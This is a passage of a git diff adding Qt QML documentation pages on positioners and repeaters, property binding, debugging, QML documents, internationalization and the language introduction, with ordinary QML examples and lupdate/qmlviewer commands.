Binary files differ
diff --git a/doc/src/declarative/pics/squish-transform.png b/doc/src/declarative/pics/squish-transform.png
new file mode 100644
index 00000000..0eb848ed
--- /dev/null
+++ b/doc/src/declarative/pics/squish-transform.png
Binary files differ
diff --git a/doc/src/declarative/pics/squish.png b/doc/src/declarative/pics/squish.png
new file mode 100644
index 00000000..73bf2920
--- /dev/null
+++ b/doc/src/declarative/pics/squish.png
Binary files differ
diff --git a/doc/src/declarative/pics/switch-example.gif b/doc/src/declarative/pics/switch-example.gif
new file mode 100644
index 00000000..3d6582fe
--- /dev/null
+++ b/doc/src/declarative/pics/switch-example.gif
Binary files differ
diff --git a/doc/src/declarative/pics/translate.png b/doc/src/declarative/pics/translate.png
new file mode 100644
index 00000000..baf58b0e
--- /dev/null
+++ b/doc/src/declarative/pics/translate.png
Binary files differ
diff --git a/doc/src/declarative/pics/verticalpositioner_example.png b/doc/src/declarative/pics/verticalpositioner_example.png
new file mode 100644
index 00000000..458dc7f4
--- /dev/null
+++ b/doc/src/declarative/pics/verticalpositioner_example.png
Binary files differ
diff --git a/doc/src/declarative/pics/verticalpositioner_transition.gif b/doc/src/declarative/pics/verticalpositioner_transition.gif
new file mode 100644
index 00000000..ed61adb5
--- /dev/null
+++ b/doc/src/declarative/pics/verticalpositioner_transition.gif
Binary files differ
diff --git a/doc/src/declarative/pics/visualitemmodel.png b/doc/src/declarative/pics/visualitemmodel.png
new file mode 100644
index 00000000..5e6d1325
--- /dev/null
+++ b/doc/src/declarative/pics/visualitemmodel.png
Binary files differ
diff --git a/doc/src/declarative/pics/webview.png b/doc/src/declarative/pics/webview.png
new file mode 100644
index 00000000..0d245865
--- /dev/null
+++ b/doc/src/declarative/pics/webview.png
Binary files differ
diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc
new file mode 100644
index 00000000..9750a224
--- /dev/null
+++ b/doc/src/declarative/positioners.qdoc
@@ -0,0 +1,196 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-positioners.html
+\ingroup qml-features
+\previouspage Property Binding
+\nextpage Anchor-based Layout in QML
+\contentspage QML Features
+\title Using QML Positioner and Repeater Items
+
+
+Positioner items are container items that manage the positions and sizes of
+items in a declarative user interface. Positioners behave in a similar way to
+the \l{Widgets and Layouts}{layout managers} used with standard Qt widgets,
+except that they are also containers in their own right.
+
+Positioners and repeaters make it easier to work with many items when they need
+to be arranged in a regular layout.
+
+\section1 Positioners
+
+A set of standard positioners are provided in the basic set of Qt Quick
+graphical elements:
+
+\list
+\o \l{#Column}{Column} arranges its children in a column
+\o \l{#Row}{Row} arranges its children in a row
+\o \l{#Grid}{Grid} arranges its children in a grid
+\o \l{#Flow}{Flow} arranges its children like words on a page
+\endlist
+
+\section2 Column
+
+\div {class="float-right"}
+\inlineimage qml-column.png
+\enddiv
+
+\l Column items are used to vertically arrange items. The following example
+uses a Column item to arrange three \l Rectangle items in an area defined
+by an outer \l Item. The \l{Column::spacing}{spacing} property is set to
+include a small amount of space between the rectangles.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/column/column.qml document
+
+Note that, since Column inherits directly from Item, any background color
+must be added to a parent Rectangle, if desired.
+
+\section2 Row
+
+\div {class="float-right"}
+\inlineimage qml-row.png
+\enddiv
+
+\l Row items are used to horizontally arrange items. The following example
+uses a Row item to arrange three rounded \l Rectangle items in an area defined
+by an outer colored Rectangle. The \l{Row::spacing}{spacing} property is set to
+include a small amount of space between the rectangles.
+
+We ensure that the parent Rectangle is large enough so that there is some space
+left around the edges of the horizontally centered Row item.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/row.qml document
+
+\section2 Grid
+
+\div {class="float-right"}
+\inlineimage qml-grid-spacing.png
+\enddiv
+
+\l Grid items are used to place items in a grid or table arrangement.
+The following example uses a Grid item to place four \l Rectangle items
+in a 2-by-2 grid. As with the other positioners, the spacing between items
+can be specified using the \l{Grid::spacing}{spacing} property.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/grid-spacing.qml document
+
+There is no difference between horizontal and vertical spacing inserted
+between items, so any additional space must be added within the items
+themselves.
+
+Any empty cells in the grid must be created by defining placeholder items
+at the appropriate places in the Grid definition.
+
+\section2 Flow
+
+\div {class="float-right"}
+\inlineimage qml-flow-text1.png
+\inlineimage qml-flow-text2.png
+\enddiv
+
+\l Flow items are used to place items like words on a page, with rows or
+columns of non-overlapping items.
+
+Flow items arrange items in a similar way to \l Grid items, with items
+arranged in lines along one axis (the minor axis), and lines of items
+placed next to each other along another axis (the major axis). The
+direction of flow, as well as the spacing between items, are controlled
+by the \l{Flow::}{flow} and \l{Flow::}{spacing} properties.
+
+The following example shows a Flow item containing a number of \l Text
+child items. These are arranged in a similar way to those shown in the
+screenshots.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/flow.qml document
+
+The main differences between the Grid and Flow positioners are that items
+inside a Flow will wrap when they run out of space on the minor axis, and
+items on one line may not be aligned with items on another line if the
+items do not have uniform sizes. As with Grid items, there is no independent
+control of spacing between items and between lines of items.
+
+\section1 Repeaters
+
+\div {class="float-right"}
+\inlineimage qml-repeater-grid-index.png
+\enddiv
+
+Repeaters create items from a template for use with positioners, using data
+from a model. Combining repeaters and positioners is an easy way to lay out
+lots of items. A \l Repeater item is placed inside a positioner, and generates
+items that the enclosing positioner arranges.
+
+Each Repeater creates a number of items by combining each element of data
+from a model, specified using the \l{Repeater::model}{model} property, with
+the template item, defined as a child item within the Repeater.
+The total number of items is determined by the amount of data in the model.
+
+The following example shows a repeater used with a \l{#Grid}{Grid} item to
+arrange a set of Rectangle items. The Repeater item creates a series of 24
+rectangles for the Grid item to position in a 5 by 5 arrangement.
+
+\clearfloat
+\snippet doc/src/snippets/declarative/repeaters/repeater-grid-index.qml document
+
+The number of items created by a Repeater is held by its \l{Repeater::}{count}
+property. It is not possible to set this property to determine the number of
+items to be created. Instead, as in the above example, we use an integer as
+the model. This is explained in the \l{QML Data Models#An Integer}{QML Data Models}
+document.
+
+It is also possible to use a delegate as the template for the items created
+by a Repeater. This is specified using the \l{Repeater::}{delegate} property.
+
+\section1 Using Transitions
+
+Transitions can be used to animate items that are added to, moved within,
+or removed from a positioner.
+
+Transitions for adding items apply to items that are created as part of a
+positioner, as well as those that are reparented to become children of a
+positioner.
+Transitions for removing items apply to items within a positioner that are
+deleted, as well as those that are removed from a positioner and given new
+parents in a document.
+
+Additionally, changing the opacity of items to zero will cause them to
+disappear using the remove transition, and making the opacity non-zero will
+cause them to appear using the add transition.
+
+\section1 Other Ways to Position Items
+
+There are several other ways to position items in a user interface. In addition
+to the basic technique of specifying their coordinates directly, they can be
+positioned relative to other items with \l{anchor-layout}{anchors}, or used
+with \l{QML Data Models} such as
+\l{QML Data Models#VisualItemModel}{VisualItemModel}.
+*/
diff --git a/doc/src/declarative/propertybinding.qdoc b/doc/src/declarative/propertybinding.qdoc
new file mode 100644
index 00000000..a809ff92
--- /dev/null
+++ b/doc/src/declarative/propertybinding.qdoc
@@ -0,0 +1,324 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page propertybinding.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {QML Basic Types}{Data Types}
+\nextpage {Using QML Positioner and Repeater Items}{Component Layouts}
+\title Property Binding
+
+\section1 Properties
+
+QML components have \e properties that can be read and modified by other objects.
+In QML, properties serve many purposes but their main function is to bind to
+values. Values may be a \l{QML Basic Types}{basic type}, or other QML elements.
+
+The syntax for properties is:
+
+\tt{[default] property <type> <name>[: defaultValue]}
+
+Elements already possess useful properties but, to create custom properties,
+precede the property name with the keyword \c property.
+
+\snippet doc/src/snippets/declarative/properties.qml parent begin
+\snippet doc/src/snippets/declarative/properties.qml inherited properties
+\snippet doc/src/snippets/declarative/properties.qml custom properties
+\snippet doc/src/snippets/declarative/properties.qml parent end
+
+QML property rules coincide with many of JavaScript's property rules, for example,
+property names must begin with a lowercase letter.
+\l {JavaScript Reserved Words}{JavaScript reserved words} are not valid property
+names.
+
+\section1 Property Binding
+
+Property binding is a declarative way of specifying the value of a property. Binding allows
+a property's value to be expressed as an JavaScript expression that defines the value relative
+to other property values or data accessible in the application. The property value is
+automatically kept up to date if the other properties or data values change.
+
+Property bindings are created in QML using the colon "\c {:}" before the value:
+\snippet doc/src/snippets/declarative/properties.qml property binding
+The property binding causes the width of the \c Rectangle to update whenever the
+\c {parent}'s width changes.
+
+QML extends a standards compliant JavaScript engine, so any valid JavaScript expression can be
+used as a property binding. Bindings can access object properties, make function calls and even
+use built-in JavaScript objects such as \c {Date} and \c {Math}.
+\snippet doc/src/snippets/declarative/properties.qml JavaScript sample
+
+While syntactically bindings can be of arbitrary complexity, if a binding starts to become
+overly complex - such as involving multiple lines, or imperative loops - it may be better
+to refactor the component entirely, or at least factor the binding out into a separate
+function.
+
+\keyword qml-javascript-assignment
+\section1 Property Assignment versus Property Binding
+
+When working with both QML and JavaScript, it is important to differentiate between
+QML property binding and JavaScript value assignment. In QML, a property
+binding is created using the colon "\c {:}".
+\snippet doc/src/snippets/declarative/properties.qml property binding
+The property binding causes the width of the \c Rectangle to update whenever the
+\c {parent}'s width changes.
+
+Assigning a property value (using the equals sign "\c {=}") does not create a
+property binding.
+\snippet doc/src/snippets/declarative/properties.qml property assignment
+
+Instead of creating a property binding, the assignment simply sets the \c Rectangle
+\c width value to a number when the \c Component.onCompleted code is invoked.
+
+Assigning a value to a property that is already bound will remove the previous binding.
+A property can only have one value at a time (a list of property is one value),
+and if any code explicitly re-sets this value, the property binding is removed.
+
+There is no way to create a property binding directly from imperative JavaScript code,
+although it is possible to use the \l {Using the Binding Element}{Binding} element.
+
+\section1 Types of Properties
+
+Properties may bind to different types, but they are are \e type-safe. That is,
+properties only allow you to assign a value that matches the property type. For
+example, if a property is a real, and if you try to assign a string to it you
+will get an error.
+
+\badcode
+property real volume: "four" //generates an error
+\endcode
+
+Certain properties bind to more complex types such as other elements and objects.
+
+\keyword qml-basic-property-types
+\section2 Basic Property Types
+
+Basic types such as \l int, \l real, and other Qt structures may be bound to
+properties. For a list of types, visit the \l {QML Basic Types} document.
+
+\keyword qml-id-property
+\section2 The \c id Property
+
+Each QML object may be given a special unique property called an \c id.
+No other object within the same QML component (see \l{QML Documents}) can have
+the same \c id value. QML objects may then access an object using the \c id
+property.
+\snippet doc/src/snippets/declarative/properties.qml id property
+A component may readily access its parent's properties by using the \c parent
+property.
+
+Note that an \c id must begin with a lower-case letter or an underscore. The
+\c id cannot contain characters other than letters, numbers, underscores, and
+\l {JavaScript Reserved Words}{JavaScript reserved words}.
+
+\section2 Elements and Objects as Property Values
+
+Many properties bind to objects. For example, the \l Item element has a
+\c states property that can bind to \l State elements. This type of property
+binding allows elements to carry additional non-children elements. \c Item's
+\c transitions property behaves in a similar way; it can bind to \l Transition
+elements.
+
+Care must be taken when referring to the parent of an object property binding.
+Elements and components that are bound to properties are not necessarily set
+as children of the properties' component.
+
+\snippet doc/src/snippets/declarative/properties.qml object binding
+The code snippet has a \l Gradient element that attempts to print its parent's
+\c width value. However, the \c Gradient element is bound to the \c gradient
+property, not the \c children property of the \c Rectangle. As a result, the
+\c Gradient does not have the \c Rectangle as its parent. Printing the value
+of \c{parent.width} generates an error. Printing the \c Rectangle object's
+first child's \c name will print \c {childrectangle} because the second
+\c Rectangle is bound to the \c children property.
+
+For more information about the \c children property, please read the
+\l {Default Properties} section.
+
+\keyword attached-properties
+\section2 Attached Properties
+
+Certain objects provide additional properties by \e attaching properties to other
+objects. For example, the \l Keys element have properties that can \e attach to other QML
+objects to provide keyboard handling.
+
+\snippet doc/src/snippets/declarative/properties.qml list attached property
+The element \l ListView provides the delegate, \c listdelegate, the property
+\c isCurrentItem as an attached property. The \c ListView.isCurrentItem
+\e{attached property} provides highlight information to the delegate.
+Effectively, the \l ListView element attaches the \c ListView.isCurrentItem
+property to each delegate it creates.
+
+\keyword attached-signalhandlers
+\section2 Attached Signal Handlers
+
+\e {Attached signal handlers} are similar
+to \l{Attached Properties}{attached properties} in that they attach to objects
+to provide additional functionality to objects. Two prominent elements,
+\l Component and \l Keys element provide
+\l{QML Signal and Handler Event System}{signal handlers} as attached signal
+handlers.
+\snippet doc/src/snippets/declarative/properties.qml attached signal handler
+
+Read the \l{QML Signal and Handler Event System} and the \l{Keyboard Focus in QML}
+articles for more information.
+
+\section2 List properties
+
+Some properties may accept a binding to a list property, where more than one
+component can bind to the property. List properties allow multiple
+\l {State}{States}, \l {Gradient}{Gradients}, and other components to bind to a
+single property.
+\snippet doc/src/snippets/declarative/properties.qml list property
+The list is enclosed in square brackets, with a comma separating the
+list elements. In cases where you are only assigning a single item to a
+list, you may omit the square brackets.
+\snippet doc/src/snippets/declarative/properties.qml single property
+
+To access the list, use the \c index property.
+\snippet doc/src/snippets/declarative/properties.qml print list property
+The snippet code simply prints the name of the first state, \c FETCH.
+
+ See the \l{list}{list type} documentation
+for more details about list properties and their available operations.
+
+\keyword qml-grouped-properties
+\section2 Grouped Properties
+
+In some cases properties form a logical group and use either the \e dot notation
+or \e group notation.
+
+Grouped properties may be written both ways:
+\snippet doc/src/snippets/declarative/properties.qml grouped properties
+
+In the element documentation grouped properties are shown using the dot notation.
+
+\section2 Property Aliases
+
+Unlike a property definition, which allocates a new, unique storage space for
+the property, a property alias connects the newly declared property, called the
+\e{aliasing property} as a direct reference to an existing property, the
+\e{aliased property}. Read or write operations on the aliasing property results
+in a read or write operations on the aliased property, respectively.
+
+A property alias declaration is similar to an ordinary property definition:
+
+\tt{[default] property alias <name>: <alias reference>}
+
+As the aliasing property has the same type as the aliased property, an explicit
+type is omitted, and the special \c alias keyword is before the property name.
+Instead of a default value, a property alias has a compulsory alias reference.
+Accessing the aliasing property is similar to accessing a regular property. In
+addition, the optional \c default keyword indicates that the aliasing property
+is a \l{Default Properties}{default property}.
+
+\snippet doc/src/snippets/declarative/Button.qml property alias
+When importing the component as a \c Button, the \c buttonlabel is directly
+accessible through the \c label property.
+\snippet doc/src/snippets/declarative/properties.qml alias usage
+In addition, the \c id property may also be aliased and referred outside the
+component.
+\snippet doc/src/snippets/declarative/Button.qml parent begin
+\snippet doc/src/snippets/declarative/Button.qml id alias
+\snippet doc/src/snippets/declarative/Button.qml parent end
+The \c imagebutton component has the ability to modify the child \l Image object
+ and its properties.
+\snippet doc/src/snippets/declarative/properties.qml image alias
+
+Using aliases, properties may be exposed to the
+\l{qml-top-level-component}{top level component}. Exposing properties to the
+top-level component allows components to have interfaces similar to Qt widgets.
+
+\section3 Considerations for property aliases
+
+Aliases are only activated once the component
+\l{Component::onCompleted}{completes} its initialization. An error is generated
+when an uninitialized alias is referenced. Likewise, aliasing an aliasing
+property will also result in an error.
+
+\snippet doc/src/snippets/declarative/properties.qml alias complete
+
+When importing the component, however, aliasing properties appear as regular Qt
+properties and consequently can be used in alias references.
+
+It is possible for an aliasing property to have the same name as an existing
+property, effectively overwriting the existing property. For example,
+the following component has a \c color alias property, named the same as the built-in
+\l {Rectangle::color} property:
+
+\snippet doc/src/snippets/declarative/properties.qml alias overwrite
+
+Any object that use this component and refer to its \c color property will be
+referring to the alias rather than the ordinary \l {Rectangle::color} property.
+Internally, however, the \c coloredrectangle can correctly set its \c color
+property and refer to the actual defined property rather than the alias.
+
+The \l{declarative/ui-components/tabwidget}{TabWidget} example uses
+aliases to reassign children to the \l ListView, creating a tab effect.
+
+\keyword default-properties
+\section2 Default Properties
+
+When imported, QML components will bind declared children to their designated
+\e{default properties}. The optional \c default attribute specifies a property
+as the \e {default property}. For example, the State element's default property
+is its \l{State::changes}{changes} property. \l PropertyChanges elements
+may simply be placed as the \c{State}'s children and they will be bound to the
+\c changes property.
+\snippet doc/src/snippets/declarative/properties.qml state default
+
+Similarly, the \l Item element's default property is its
+\l{Item::data}{data} property. The \c data property manages Item's
+\c children and \c resources properties. This way, different data types may be
+placed as direct children of the \c Item.
+\snippet doc/src/snippets/declarative/properties.qml default property
+
+Reassigning a default property is useful when a component is reused. For
+example, the \l{declarative/ui-components/tabwidget}{TabWidget} example uses
+the \c default attribute to reassign children to the \l ListView, creating
+a tab effect.
+
+\section1 Using the Binding Element
+
+In some advanced cases, it may be necessary to create bindings explicitly with
+the\l Binding element.
+
+For example, to bind a property exposed from C++ (\c system.brightness) to a
+value written in QML (\c slider.value), you could use the \l Binding element as
+follows:
+\snippet doc/src/snippets/declarative/properties.qml binding element
+
+\section1 Changing Property Values in States
+
+The \l PropertyChanges element is for setting property bindings within a
+\l State element to set a property binding.
+
+\snippet doc/src/snippets/declarative/properties.qml PropertyChanges element
+The rectangle's \c color property will bind to the \c warning component's
+\c color property when its \c state is set to the \c WARNING state.
+*/
diff --git a/doc/src/declarative/qdeclarativedebugging.qdoc b/doc/src/declarative/qdeclarativedebugging.qdoc
new file mode 100644
index 00000000..d6ebf4d4
--- /dev/null
+++ b/doc/src/declarative/qdeclarativedebugging.qdoc
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativedebugging.html
+\title Debugging QML
+
+\section1 Logging
+
+\c console.log can be used to print debugging information to the console. For example:
+
+\qml
+Rectangle {
+ width: 200; height: 200
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log("clicked")
+ }
+}
+\endqml
+
+\section1 Debugging Transitions
+
+When a transition doesn't look quite right, it can be helpful to view it in slow
+motion to see what is happening more clearly. This functionality is supported
+in the \l {QML Viewer} tool: to enable this,
+click on the "Debugging" menu, then "Slow Down Animations".
+
+
+\section1 Debugging module imports
+
+The \c QML_IMPORT_TRACE environment variable can be set to enable debug output
+from QML's import loading mechanisms.
+
+For example, for a simple QML file like this:
+
+\qml
+import QtQuick 1.0
+
+Rectangle { width: 100; height: 100 }
+\endqml
+
+If you set \c {QML_IMPORT_TRACE=1} before running the \l {QML Viewer}
+(or your QML C++ application), you will see output similar to this:
+
+\code
+QDeclarativeImportDatabase::addImportPath "/qt-sdk/imports"
+QDeclarativeImportDatabase::addImportPath "/qt-sdk/bin/QMLViewer.app/Contents/MacOS"
+QDeclarativeImportDatabase::addToImport 0x106237370 "." -1.-1 File as ""
+QDeclarativeImportDatabase::addToImport 0x106237370 "Qt" 4.7 Library as ""
+QDeclarativeImportDatabase::resolveType "Rectangle" = "QDeclarativeRectangle"
+\endcode
+
+
+\section1 Debugging with Qt Creator
+
+\l{http://qt.nokia.com/products/developer-tools}{Qt Creator} provides built-in
+support for QML debugging. QML projects and standalone C++ applications that
+utilize QML can be debugged on desktops as well as on remote devices.
+For more information, see the Qt Creator Manual.
+
+*/
diff --git a/doc/src/declarative/qdeclarativedocument.qdoc b/doc/src/declarative/qdeclarativedocument.qdoc
new file mode 100644
index 00000000..e2c7653a
--- /dev/null
+++ b/doc/src/declarative/qdeclarativedocument.qdoc
@@ -0,0 +1,143 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativedocuments.html
+\title QML Documents
+\brief A description of QML documents and the kind of content they contain.
+
+A QML document is a block of QML source code. QML documents generally correspond to files
+stored on a disk or at a location on a network, but they can also be constructed directly
+from text data.
+
+Here is a simple QML document:
+
+\snippet doc/src/snippets/declarative/qml-documents/non-trivial.qml document
+
+QML documents are always encoded in UTF-8 format.
+
+A QML document always begins with one or more import statements. To prevent elements
+introduced in later versions from affecting existing QML programs, the element types
+available within a document are controlled by the imported QML \l {Modules}. That is,
+QML is a \e versioned language.
+
+Syntactically a QML document is self contained; QML does \e not have a preprocessor that
+modifies the document prior to presentation to the QML runtime. \c import statements
+do not "include" code in the document, but instead instruct the QML runtime on how to
+resolve type references found in the document. Any type reference present in a QML
+document - such as \c Rectangle and \c ListView - including those made within an
+\l {Inline JavaScript}{JavaScript block} or \l {Property Binding}s, are \e resolved based exclusively on the
+import statements. QML does not import any modules by default, so at least one \c import
+statement must be present or no elements will be available!
+
+Each \c id value in a QML document must be unique within that document. They
+do not need to be unique across different documents as id values are
+resolved according to the document scope.
+
+
+\section1 Documents as Component Definitions
+
+A QML document defines a single, top-level \l {QDeclarativeComponent}{QML component}. A QML component
+is a template that is interpreted by the QML runtime to create an object with some predefined
+behaviour. As it is a template, a single QML component can be "run" multiple times to
+produce several objects, each of which are said to be \e instances of the component.
+
+Once created, instances are not dependent on the component that created them, so they can
+operate on independent data. Here is an example of a simple "Button" component (defined
+in a \c Button.qml file) that is instantiated four times by \c application.qml.
+Each instance is created with a different value for its \c text property:
+
+\table
+\row
+\o Button.qml
+\o application.qml
+
+\row
+\o \snippet doc/src/snippets/declarative/qml-documents/qmldocuments.qml document
+\o
+\qml
+import QtQuick 1.0
+
+Column {
+ spacing: 10
+
+ Button { text: "Apple" }
+ Button { text: "Orange" }
+ Button { text: "Pear" }
+ Button { text: "Grape" }
+}
+\endqml
+
+\image anatomy-component.png
+
+\endtable
+
+Any snippet of QML code can become a component, just by placing it in the file "<Name>.qml"
+where <Name> is the new element name, and begins with an \bold uppercase letter. Note that
+the case of all characters in the <Name> are significant on some filesystems, notably
+UNIX filesystems. It is recommended that the case of the filename matches the case of
+the component name in QML exactly, regardless of the platform the QML will be deployed to.
+
+These QML component files automatically become available as new QML element types
+to other QML components and applications in the same directory.
+
+
+
+\section1 Inline Components
+
+In addition to the top-level component that all QML documents define, and any reusable
+components placed in separate files, documents may also
+include \e inline components. Inline components are declared using the
+\l Component element, as can be seen in the first example above. Inline components share
+all the characteristics of regular top-level components and use the same \c import list as their
+containing QML document. Components are one of the most basic building blocks in QML, and are
+frequently used as "factories" by other elements. For example, the \l ListView element uses the
+\c delegate component as the template for instantiating list items - each list item is just a
+new instance of the component with the item specific data set appropriately.
+
+Like other \l {QML Elements}, the \l Component element is an object and must be assigned to a
+property. \l Component objects may also have an object id. In the first example on this page,
+the inline component is added to the \l Rectangle's \c resources list, and then
+\l {Property Binding} is used to assign the \l Component to the \l ListView's \c delegate
+property. While using property binding allows the \l Component object to be shared (for example,
+if the QML document contained multiple \l ListView's with the same delegate), in this case the
+\l Component could have been assigned directly to the \l ListView's \c delegate. The QML
+language even contains a syntactic optimization when assigning directly to a component property
+for this case where it will automatically insert the \l Component tag.
+
+These final two examples are behaviorally identical to the original document.
+
+\table
+\row
+\o
+\snippet doc/src/snippets/declarative/qml-documents/inline-component.qml document
+\o
+\snippet doc/src/snippets/declarative/qml-documents/inline-text-component.qml document
+\endtable
+
+\sa QDeclarativeComponent
+*/
diff --git a/doc/src/declarative/qdeclarativei18n.qdoc b/doc/src/declarative/qdeclarativei18n.qdoc
new file mode 100644
index 00000000..bc93e73b
--- /dev/null
+++ b/doc/src/declarative/qdeclarativei18n.qdoc
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativei18n.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {Network Transparency}{Loading Resources in QML}
+\nextpage {QML Features}
+\title QML Internationalization
+
+
+Strings in QML can be marked for translation using the qsTr(), qsTranslate(),
+QT_TR_NOOP(), and QT_TRANSLATE_NOOP() functions.
+
+For example:
+\qml
+Text { text: qsTr("Pictures") }
+\endqml
+
+These functions are standard QtScript functions; for more details see
+QScriptEngine::installTranslatorFunctions().
+
+QML relies on the core internationalization capabilities provided by Qt. These
+capabilities are described more fully in:
+\list
+\o \l {Internationalization with Qt}
+\o \l {Qt Linguist Manual}
+\endlist
+
+You can test a translation with the \l {QML Viewer} using the -translation option.
+
+\section1 Example
+
+First we create a simple QML file with text to be translated. The string
+that needs to be translated is enclosed in a call to \c qsTr().
+
+hello.qml:
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+ Text { text: qsTr("Hello"); anchors.centerIn: parent }
+}
+\endqml
+
+Next we create a translation source file using lupdate:
+\code
+lupdate hello.qml -ts hello.ts
+\endcode
+
+Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide
+a translation and create the release file \c hello.qm.
+
+Finally, we can test the translation:
+\code
+qmlviewer -translation hello.qm hello.qml
+\endcode
+
+
+You can see a complete example and source code in the \l{declarative/i18n}{QML Internationalization example}.
+*/
diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
new file mode 100644
index 00000000..d3632655
--- /dev/null
+++ b/doc/src/declarative/qdeclarativeintro.qdoc
@@ -0,0 +1,396 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativeintroduction.html
+\title Introduction to the QML Language
+
+\tableofcontents
+
+QML is a declarative language designed to describe the user interface of a
+program: both what it looks like, and how it behaves. In QML, a user
+interface is specified as a tree of objects with properties.
+
+This introduction is meant for those with little or no programming
+experience. JavaScript is used as a scripting language in QML, so you may want
+to learn a bit more about it (see the \l{Javascript Guide}) before diving
+deeper into QML. It's also helpful to have a basic understanding of other web
+technologies like HTML and CSS, but it's not required.
+
+\section1 Basic QML Syntax
+
+QML looks like this:
+
+\qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 200
+ height: 200
+ color: "blue"
+
+ Image {
+ source: "pics/logo.png"
+ anchors.centerIn: parent
+ }
+}
+\endqml
+
+Here we create two objects, a \l Rectangle object and its child
+\l Image object. Objects are specified by their type, followed by a pair of
+braces in between which additional data can be defined for the object, such as
+its property values and any child objects.
+
+Properties are specified with a \c {property: value} syntax. In the above example, we
+can see the \l Image object has a property named \c source, which has been assigned the
+value \c "pics/logo.png". The property and its value are separated by a colon.
+
+Properties can be specified one-per-line:
+
+\qml
+Rectangle {
+ width: 100
+ height: 100
+}
+\endqml
+
+or you can put multiple properties on a single line:
+
+\qml
+Rectangle { width: 100; height: 100 }
+\endqml
+
+When multiple property/value pairs are specified on a single line, they
+must be separated by a semicolon.
+
+The \c import statement imports the \c QtQuick \l{QML Modules}{module}, which contains all of the
+standard \l {QML Elements}. Without this import statement, the \l Rectangle
+and \l Image elements would not be available.
+
+
+\section1 Comments
+
+Commenting in QML is similar to JavaScript.
+\list
+\o Single line comments start with // and finish at the end of the line.
+\o Multiline comments start with /* and finish with *\/
+\endlist
+
+\snippet doc/src/snippets/declarative/comments.qml 0
+
+Comments are ignored by the engine. They are useful for explaining what you
